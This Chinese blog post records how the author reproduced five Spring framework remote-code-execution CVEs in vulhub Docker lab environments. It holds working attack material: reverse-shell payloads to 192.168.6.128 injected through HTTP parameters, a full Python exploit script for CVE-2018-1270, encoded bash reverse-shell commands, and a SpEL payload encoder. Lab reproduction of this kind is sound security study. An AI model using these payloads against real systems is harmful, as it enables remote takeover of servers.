最近B战华强买瓜、热辣滚烫、杰哥不要、3句话18w这几个素材频繁推荐在爷得首页,真是受不了,一刷就刷了两天,结果说要周末干的活儿除了写了一个监控脚本,其他的啥也没干,不过嘛,几个漏洞的漏洞复现,不牵扯原理分析的话,环境我都有,还是挺好实现的🐢

我对微容器的理解真是一概不知,等刷完微服务的视频要去好好看看docker和k8s了

双开kail2021和ubuntu20.04就能吃我60内存了,开发工具和一些其他工具都没开,我明明是今年3月才买的新电脑啊😲 ,烦内

这次基于spring框架的漏洞复现参考这几篇文章:

1、漏洞复现—Spring CVE-2016-4977/CVE-2017-4971/CVE-2017-8046/CVE-2018-1270/CVE-2018-1273

2、框架安全之Spring渗透

首先,Spring概念没啥好说的,其中有个SpEL(我猜他是基于反射机制的表达式引擎)是和Spring漏洞有很大关系,没太了解过,以后关注。

然后,搭环境,那没什么,我都有,有一点要注意就是这个vulhub我以前没用过,最近这两天github又上不去了,我的host策略好像也不行了,就去gitee找了个实时更新github的vulhub库克隆了。

236458109.jpg

Docker常用命令😫 :

Docker的基本命令

1、Spring Web Flow 远程代码执行漏洞(CVE-2017-4971)漏洞复现

也可以参照Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)这篇来做漏洞复现,docker指令比较全,启停常用这几个:

docker-compose build   //拉镜像(进入到vulhub某个具体目录后)
docker-compose up -d   //拉镜像(进入到vulhub某个具体目录后)
docker ps -a           //镜像查询(查到的第一列就是ID值)
docker ps              //查启动着的镜像
docker exec -it ID /bin/bash    //进入指定镜像里面(根据docker ps -a查出的ID进入)
docker-compose down    //关闭镜像(每次用完后关闭)

首先,起环境到有Confirm按钮页面,点击抓包
1.PNG
2.PNG

kali启动nc监听本地8081

3.PNG

在burp抓包后添加如下内容:

&_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.6.128/8081 0>%261")).start()=vulhub

不过我看.start()后面的 =vulhub根本就是多余的嘛,我写jinyunlong写longyunjin或者不写也都一样啊,本质不是去用ProcessBuilder调命令行吗,=xxx这是干啥的没太明白
ProcessBuilder用法可以看看使用ProcessBuilder执行命令行操作

4.PNG

可以成功反弹shell,证明存在远程命令执行漏洞

5.PNG

6.PNG

2、Spring Messaging 远程命令执行漏洞(CVE-2018-1270)漏洞复现

装完环境访问以下页面即安装成功

7.PNG

然后exp需要把ip换成目标地址,反弹命令要进行编码,exp:

#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json

logging.basicConfig(stream=sys.stdout, level=logging.INFO)

def random_str(length):
    letters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(letters) for c in range(length))


class SockJS(threading.Thread):
    def __init__(self, url, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
        self.daemon = True
        self.session = requests.session()
        self.session.headers = {
            'Referer': url,
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
        }
        self.t = int(time.time()*1000)

    def run(self):
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
        response = self.session.get(url, stream=True)
        for line in response.iter_lines():
            time.sleep(0.5)
  
    def send(self, command, headers, body=''):
        data = [command.upper(), '\n']

        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
  
        data.append('\n\n')
        data.append(body)
        data.append('\x00')
        data = json.dumps([''.join(data)])

        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
        if response.status_code != 204:
            logging.info(f"send '{command}' data error.")
        else:
            logging.info(f"send '{command}' data success.")

    def __del__(self):
        self.session.close()


sockjs = SockJS('http://目标IP:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)

sockjs.send('connect', {
    'accept-version': '1.1,1.0',
    'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
    'selector': "T(java.lang.Runtime).getRuntime().exec('touch test')",
    'id': 'sub-0',
    'destination': '/topic/greetings'
})

data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
    'content-length': len(data),
    'destination': '/app/hello'
}, data)

在线编码网站:java.lang.Runtime.exec() Payload Workarounds

8.PNG

nc监听本地端口,执行exp,反弹shell成功

9.PNG

3、Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)漏洞复现

10.PNG

开始抓包,然后修改,这里上传一个bash文件到镜像中(靶机接收该文件 将对应代码放到前面的数据包)去,bash中的内容是反弹shell命令

需要一个命令监听80端口然后传文件:

sudo python -m SimpleHTTPServer 80

11.PNG

传输成功后,可以进入镜像tmp目录下cat下1文件,发现代码已经被写入1文件

13.PNG

进入指定容器镜像命令:

docker exec -it CONTAINER ID /bin/bash

然后kali监听8687端口,再次修改包内容,变成执行该文件,即可反弹shell

12.PNG

4、Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)漏洞复现

装完环境访问以下页面即安装成功

14.PNG

这里要执行反弹命令,要对命令进行两次转换,第一次编码base64,第二次转换为对应的ASCII码值

bash:

bash -i >& /dev/tcp/192.168.6.128/8688 0>&1

一次编码:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYuMTI4Lzg2ODggMD4mMQ==}|{base64,-d}|{bash,-i}

二次编码:

98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,89,117,77,84,73,52,76,122,103,50,79,68,103,103,77,68,52,109,77,81,61,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125

然后,把包修改请求方式为PATCH,修改Content-Type,构造包内容,成功反弹shell

15.PNG

5、Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)漏洞复现

我C,这个也要二次编码,用靶场自己带的poc.py二次编码就行,编完特长。

还是,先起环境,登录用户密码admin:admin,出来如下页面为成功:

16.PNG

直接把bash编码吧,过程不贴了

要用python3二次编码:

17.PNG

把编码完的poc内容放在请求url中的response_type,发包即可反弹shell:

18.PNG

poc.py:

#!/usr/bin/env python

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)

poc += ')}'

print(poc)

复现完了,原理没看,以后慢慢看,也没指纹,也就能写脚本扫这几个url指定路径看返回结果,总之这5个都是命令执行漏洞。


标题:Spring渗透
作者:jyl
地址:http://jinyunlong.xyz/articles/2021/07/18/1626623497713.html